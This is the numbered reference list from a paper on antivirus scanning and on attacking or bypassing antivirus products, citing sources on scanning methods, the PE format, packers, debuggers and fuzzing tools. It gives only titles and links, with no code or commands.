2) Online malware and spyware scanning portal: virus total
http://www.virustotal.com
3) Two ways to prevent viruses entering your computer.
http://www.net-security.org/article.php?id=485&p=1
4) A whitepaper on Injector Mask or a Tool, 2010 by Amit Malik
5) Signature based scanning.
http://blogs.avg.com/business/signature-based-detection/
6) Heuristic based scanning
http://techinicalplanet.blogspot.in/2013/02/antivirus-mechanism.html
http://www.pandasecurity.com/usa/homeusers/support/card/?Id=7&idIdioma=2&Ref=Tech
Portal
7) Sandbox
http://searchsecurity.techtarget.com/definition/sandbox
8) PE file format
http://win32assembly.programminghorizon.com/pe-tut1.html
9)PE Sections
http://www.csn.ul.ie/~caolan/publink/winresdump/winresdump/doc/pefile2.html
10) Olly Debugger (Ollydbg)
www.ollydbg.de/version2.html
10:1) White paper on Bypassing Anti-virus Scanners by Internet Security Team
11) UPX: The ultimate packer
http://upx.sourceforge.net/
12) Blackhat USA presentation, 0wning Anti-virus by Alex Wheeler and Neel Mehta
13) ARJ Header Information
http://www.fileformat.info/format/arj/corion.htm
Page 31
14) http://upx.sourceforge.net/
15) Audit Results of famous AVs by Alex Wheeler and Neel Mehta
16) 4 types of vulnerabilities in Anti-viruses:
Whitepaper on Attacking Anti-virus by Feng Xue, Technical Lead, Nevis Labs.
17) Spike
http://www.immunitysec.com/resources-freesoftware.shtml
18) Sully
http://code.google.com/p/sulley
19) Webfuzz
http://www.fuzzing.org/wp-content/webfuzz.zip
20) CalmAv
http://www.clamav.net/lang/en/
21) AxMan
http://www.metasploit.com/users/hdm/tools/axman/
22) ComRaider
http://labs.idefence.com/software/fuzzing.php#more_comraider
23) sc.exe Utility in MS environment
http://technet2.microsoft.com/WindowsServer/en/library/0a658e97-51d5-4109b461-
a474c799964e1003.mspx
24) Code Injection
http://securityxploded.com/bypassing-antivirus-using-code-injection.php
Page 32